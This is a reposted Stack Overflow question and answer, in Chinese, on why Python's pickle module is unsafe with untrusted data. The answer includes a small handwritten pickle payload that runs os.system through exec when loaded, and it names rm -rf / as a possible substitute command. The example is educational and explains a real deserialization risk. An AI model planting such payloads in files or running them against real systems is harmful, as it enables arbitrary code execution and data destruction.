gpt4 book ai didi

python - 不受信任的 pickle 来源

转载 作者:行者123 更新时间:2023-12-04 08:20:51 30 4
gpt4 key购买 nike

来自 pickle 的 python 文档:

Warning The pickle module is not secure. Only unpickle data you trust.


什么是 pickle 然后取消 pickle 会做一些恶意的数据的例子?我只使用过 pickle 来保存不一定能很好地 json 编码的对象(日期、十进制等),所以我对它没有太多经验,或者它除了作为“更简单的 json”编码器之外还有什么能力。
什么是可以用它做的恶意事情的例子?

最佳答案

就像 Chase 说的,函数可以通过 unpickling 来执行。根据此消息来源:https://intoli.com/blog/dangerous-pickles/ ,pickled 对象实际上存储为字节码指令,在打开时解释(类似于 Python 本身)。通过编写pickle字节码,可以让pickle“程序”做任何事情。
这里我做了一个pickle程序来运行bash命令say "malicious code" ,但你可以运行像 rm -rf / 这样的命令以及。
我将以下字节码保存到文件中:

c__builtin__
exec
(Vimport os; os.system('say "malicious code"')
tR.
然后用以下方法解压它:
import pickle
loadfile = open('malicious', 'rb')
data = pickle.load(loadfile)
我立即听到了一些“恶意代码”。

关于python - 不受信任的 pickle 来源,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/65505566/

30 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com